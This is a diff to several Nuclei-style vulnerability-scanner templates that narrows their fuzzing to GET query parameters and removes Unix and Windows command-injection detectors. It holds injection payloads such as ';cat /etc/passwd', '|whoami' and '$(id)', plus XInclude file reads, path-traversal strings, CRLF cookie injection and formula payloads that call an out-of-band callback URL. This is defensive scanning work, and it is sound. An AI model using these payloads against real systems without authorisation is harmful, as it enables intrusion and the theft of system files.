          - 'method == "GET"'
-          - 'method == "POST"'
-          - 'method == "PUT"'
+
    payloads:
      reflection:
        - "{{first}}"

    fuzzing:
-      - parts:
-          - query
-          - body
+      - part: query
        type: postfix
        fuzz:
          - "{{reflection}}"
@@ -38,4 +35,4 @@ http:
        part: header
        regex:
          - '(?m)(?i)(^set-cookie.*cookie_injection.*)'
-# digest: 4a0a00473045022100fcc832957048d66c083e01674bdb650b1f6aac2fe924de9a40f4175d15e9fcea022003ecffde416eccf471ecabcc2fb366f2280987da6a74bc0b23ef5abdd6829ae9:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022012d1757b00fc5a6f9ee4c883ae5413e0bd3973591b56ba0a5e79bc72b76f47cb022100c3719ad78ef3de245f1263e87dc46c710215231d1b04abed19543b0c6c520ed1:922c64590222798bb761d5b6d8e72950
@@ -13,8 +13,7 @@ http:
      - type: dsl
        dsl:
          - 'method == "GET"'
-          - 'method == "POST"'
-          - 'method == "PUT"'
+
    payloads:
      escape:
        low:
@@ -63,9 +62,7 @@ http:
          - "\r\t"

    fuzzing:
-      - parts:
-          - query
-          - body
+      - part: query
        type: postfix
        fuzz:
          - "{{escape}}Set-Cookie:crlfinjection=crlfinjection"
@@ -76,4 +73,4 @@ http:
        part: header
        regex:
          - '(?m)^(?:Set-Cookie\s*?:(?:\s*?|.*?;\s*?))(crlfinjection=crlfinjection)(?:\s*?)(?:$|;)'
-# digest: 4b0a00483046022100bca778c35d5fc61dd71c6454594f25f309d049b5681c7bfdcfa41ab4eeed600a022100d2ee23bf8dc026de3b52c0427f4ca3c4ee3ed9ba15cec1f43f81de2833807e3a:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022015c1830b995bcda913cc28864b15263881395c09ffeeb5dd5dad17d8f41378fd022100f157c7577fbeb68be85c3343f2c4ee02312f6e8fd577e55699f645a6a9fbd955:922c64590222798bb761d5b6d8e72950
@@ -13,8 +13,7 @@ http:
      - type: dsl
        dsl:
          - 'method == "GET"'
-          - 'method == "POST"'
-          - 'method == "PUT"'
+
    payloads:
      csv_fuzz:
        - "class.module.classLoader.resources.context.configFile=http://{{interactsh-url}}"
@@ -29,9 +28,7 @@ http:
        - '=IMAGE("https://{{interactsh-url}}/images/srpr/logo3w.png")'

    fuzzing:
-      - parts:
-          - query
-          - body
+      - part: query
        type: replace # replaces existing parameter value with fuzz payload
        mode: multiple # replaces all parameters value with fuzz payload
        fuzz:
@@ -50,4 +47,4 @@ http:
          - "text/csv"
          - "application/csv"
          - "application/vnd.ms-excel"
-# digest: 4a0a00473045022047de9a9ade28a139a37de842b237ae72a42ccfed58a24a2166c1191da3ca847d022100a321d8f99e99bba547fcc6cdb6db36a15392eeceaf24cb7f7a4f72478899ded5:922c64590222798bb761d5b6d8e72950
+# digest: 480a0045304302204b04df532ec328b11991f3ce6db6e0f23ecf716ea56920967543344970fa6a63021f625b58f16210ea97db1831d0ba77a0c027c8687c9b4f9bca4ad0fdc0e0fc1f:922c64590222798bb761d5b6d8e72950
@@ -1,81 +0,0 @@
-id: unix-command-injection
-
-info:
-  name: Unix Command Injection - Generic Detection
-  author: Jaenact
-  severity: high
-  description: |
-    Detected potential Unix/Linux OS command injection by replacing query parameter values with shell separator payloads and identifying successful command execution through command output patterns or response time delays. Payloads included semicolons, pipes, logical AND operators, backticks, command substitution, and newline injection.
-  impact: |
-    Successful exploitation allows arbitrary command execution on the underlying operating system, leading to full server compromise, data exfiltration, lateral movement, and denial of service.
-  remediation: |
-    Never pass user-controlled input directly to shell commands. Use parameterized APIs or language-native functions instead of system()/exec(). Apply strict allowlist input validation and enforce least-privilege execution contexts for application processes.
-  reference:
-    - https://owasp.org/www-community/attacks/Command_Injection
-    - https://cwe.mitre.org/data/definitions/78.html
-    - https://capec.mitre.org/data/definitions/88.html
-    - https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 9.8
-    cwe-id: CWE-78
-  metadata:
-    verified: true
-    max-request: 15
-  tags: cmdi,dast,rce,unix,linux,fuzz,vuln
-
-http:
-  - pre-condition:
-      - type: dsl
-        dsl:
-          - 'method == "GET"'
-
-    payloads:
-      injection:
-        # shell separators with id
-        - ";id"
-        - "|id"
-        - "&&id"
-        - "`id`"
-        - "$(id)"
-        # file read
-        - ";cat /etc/passwd"
-        - "|cat /etc/passwd"
-        - "$(cat /etc/passwd)"
-        # newline injection
-        - "%0aid"
-        - "%0acat+/etc/passwd"
-        # time-based
-        - ";sleep 5"
-        - "|sleep 5"
-        - "&&sleep 5"
-        - "$(sleep 5)"
-        - "`sleep 5`"
-
-    fuzzing:
-      - part: query
-        type: replace
-        mode: single
-        fuzz:
-          - "{{injection}}"
-
-    stop-at-first-match: true
-    matchers-condition: or
-    matchers:
-      - type: regex
-        name: id-output
-        part: body
-        regex:
-          - 'uid=\d+\([^)]+\)\s+gid=\d+'
-
-      - type: regex
-        name: etc-passwd
-        part: body
-        regex:
-          - 'root:.*:0:0:'
-
-      - type: dsl
-        name: time-based
-        dsl:
-          - 'duration >= 4'
-# digest: 4a0a00473045022100aaf8abfa73f46e605b0bac69b67368f62a6178fc4bb7f5979592dbb8e6edcefc02201ee998c07753af257794d98725fd3fe4fce9f6280770ae5a9bbb52f19fbcc23a:922c64590222798bb761d5b6d8e72950
@@ -1,94 +0,0 @@
-id: windows-command-injection
-
-info:
-  name: Windows Command Injection - Generic Detection
-  author: Jaenact
-  severity: high
-  description: |
-    Detected potential OS command injection on Windows targets by replacing query parameter values with command separator payloads and identifying successful command execution through output patterns from `dir`, `whoami`, `systeminfo`, or response time delays induced via `ping`.
-  impact: |
-    Successful exploitation allows arbitrary command execution on the underlying Windows system, leading to full server compromise, data exfiltration, privilege escalation, and denial of service.
-  remediation: |
-    Never pass user-controlled input directly to cmd.exe or PowerShell. Use parameterized APIs or language-native functions instead of system()/exec(). Apply strict allowlist input validation and enforce least-privilege execution contexts for application processes.
-  reference:
-    - https://owasp.org/www-community/attacks/Command_Injection
-    - https://cwe.mitre.org/data/definitions/78.html
-    - https://capec.mitre.org/data/definitions/88.html
-    - https://cheatsheetseries.owasp.org/cheatsheets/OS_Command_Injection_Defense_Cheat_Sheet.html
-  classification:
-    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
-    cvss-score: 9.8
-    cwe-id: CWE-78
-  metadata:
-    verified: true
-    max-request: 14
-  tags: cmdi,dast,rce,windows,fuzz,vuln
-
-http:
-  - pre-condition:
-      - type: dsl
-        dsl:
-          - 'method == "GET"'
-
-    payloads:
-      injection:
-        # dir output
-        - "|dir"
-        - "&dir"
-        - "&&dir"
-        - "||dir"
-        - "|dir C:\\"
-        - "&&dir C:\\"
-        # identity
-        - "|whoami"
-        - "&&whoami"
-        # system enumeration
-        - "|systeminfo"
-        - "&&systeminfo"
-        - "|ipconfig"
-        - "&&ipconfig"
-        # time-based
-        - "&ping -n 5 127.0.0.1&"
-        - "&&ping -n 5 127.0.0.1&&"
-
-    fuzzing:
-      - part: query
-        type: replace
-        mode: single
-        fuzz:
-          - "{{injection}}"
-
-    stop-at-first-match: true
-    matchers-condition: or
-    matchers:
-      - type: regex
-        name: dir-output
-        part: body
-        regex:
-          - '(?mi)Directory of [A-Z]:\\\\'
-          - '(?mi)Volume in drive [A-Z]'
-
-      - type: regex
-        name: systeminfo-output
-        part: body
-        regex:
-          - '(?mi)^OS Name:\s+'
-          - '(?mi)^Host Name:\s+'
-
-      - type: regex
-        name: ipconfig-output
-        part: body
-        regex:
-          - '(?mi)Windows IP Configuration'
-
-      - type: regex
-        name: whoami-output
-        part: body
-        regex:
-          - '(?mi)^[a-z][-a-z0-9]*\\\\[a-z][-a-z0-9]*$'
-
-      - type: dsl
-        name: time-based
-        dsl:
-          - 'duration >= 4'
-# digest: 4b0a00483046022100be5c540b1ed2ddf5d5cd3c6b4beec3d046833f77b6a37ebf25d26259ddacd9b6022100ad9b2b4618589ef59eae4f0de6793fe8a59b1f67db65cdf31cf2a631465a3d91:922c64590222798bb761d5b6d8e72950
@@ -15,17 +15,14 @@ http:
      - type: dsl
        dsl:
          - 'method == "GET"'
-          - 'method == "POST"'
-          - 'method == "PUT"'
+
    payloads:
      xinc_fuzz:
        - '<asd xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///etc/passwd"/></asd>'
        - '<asd xmlns:xi="http://www.w3.org/2001/XInclude"><xi:include parse="text" href="file:///c:/windows/win.ini"/></asd>'

    fuzzing:
-      - parts:
-          - query
-          - body
+      - part: query
        type: replace # replaces existing parameter value with fuzz payload
        mode: multiple # replaces all parameters value with fuzz payload
        fuzz:
@@ -45,4 +42,4 @@ http:
        part: body
        words:
          - 'for 16-bit app support'
-# digest: 4a0a00473045022061c5b5f12d480ab581420090fe679f16eff360c4d8845959a335ff3bf53df93b022100e4fb9eff907afb896e7ae4d885535da03bae294cc6f4825c39c824fd4bf2e8fe:922c64590222798bb761d5b6d8e72950
+# digest: 490a0046304402206226ef9fba139006dc56d453153b5b180a77cc9b3ae66a5413cfa7e44af95f3602205b76f068bc5cf5a0f9ce05101dff58da2a842beed89bec6b60d30443db8d3d95:922c64590222798bb761d5b6d8e72950
@@ -25,8 +25,7 @@ http:
      - type: dsl
        dsl:
          - 'method == "GET"'
-          - 'method == "POST"'
-          - 'method == "PUT"'
+
    payloads:
      pathtraversal:
        - '{{fuzz}}etc/passwd'
@@ -56,9 +55,7 @@ http:
        - '../../WEB-INF/web.xml'

    fuzzing:
-      - parts:
-          - query
-          - body
+      - part: query
        mode: single
        keys:
          - cat
@@ -94,9 +91,7 @@ http:
        fuzz:
          - "{{pathtraversal}}"

-      - parts:
-          - query
-          - body
+      - part: query
        mode: single
        values:
          - "^(./|../|/)|(.html|.htm|.xml|.conf|.cfg|.log|.txt|.pdf|.doc|.docx|.xls|.csv|.png|.jpg|.gif)$"
@@ -125,4 +120,4 @@ http:
        part: body
        regex:
          - '(<system.webServer[\s\S]+<\/system.webServer>)'
-# digest: 4a0a00473045022100b917be210562f0d09609a7c90cff98a2e93db64f5c6efae6e3c934d0cd6f611902205d5ac63faddba6eac5cbf4a36887f1727ea7752005af4ea6332e2c61a0fb4f9f:922c64590222798bb761d5b6d8e72950
+# digest: 4a0a00473045022100feb011d8f08c768dbafc2814db0721727bf474a1796af82769e6d81a3df3aebb02202a88f33eb015419d4d6b49bd7ce08089a05d86606d93d8601112fe738923ca08:922c64590222798bb761d5b6d8e72950
@@ -16,8 +16,7 @@ http:
      - type: dsl
        dsl:
          - 'method == "GET"'
-          - 'method == "POST"'
-          - 'method == "PUT"'
+
    payloads:
      nix_fuzz:
        low:
@@ -72,9 +71,7 @@ http:
          - '/cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/.%%32%65/etc/passwd'

    fuzzing:
-      - parts:
-          - query
-          - body
+      - part: query
        type: replace # replaces existing parameter value with fuzz payload
        mode: multiple # replaces all parameters value with fuzz payload
        fuzz:
@@ -86,4 +83,4 @@ http:
        part: body
        regex:
          - 'root:.*:0:0:'
-# digest: 4a0a0047304502205415e5cbcd5beb10a05da90cc4fe6352df7ef1b866512c8661eae4e3b964b9b90221008bf95c6e0d36601cf6508c54c4750f33d6e1e9e848228b31d64ebc350fac1176:922c64590222798bb761d5b6d8e72950
+# digest: 4b0a00483046022100bc2e34d998c161b0f1d7455850d0f9744628335ec5e3d0aeb95ac7711acaa2dd02210093950e9953cf175d3568ef5a82a366ec34486250941957176db44a0aafc24e1b:922c64590222798bb761d5b6d8e72950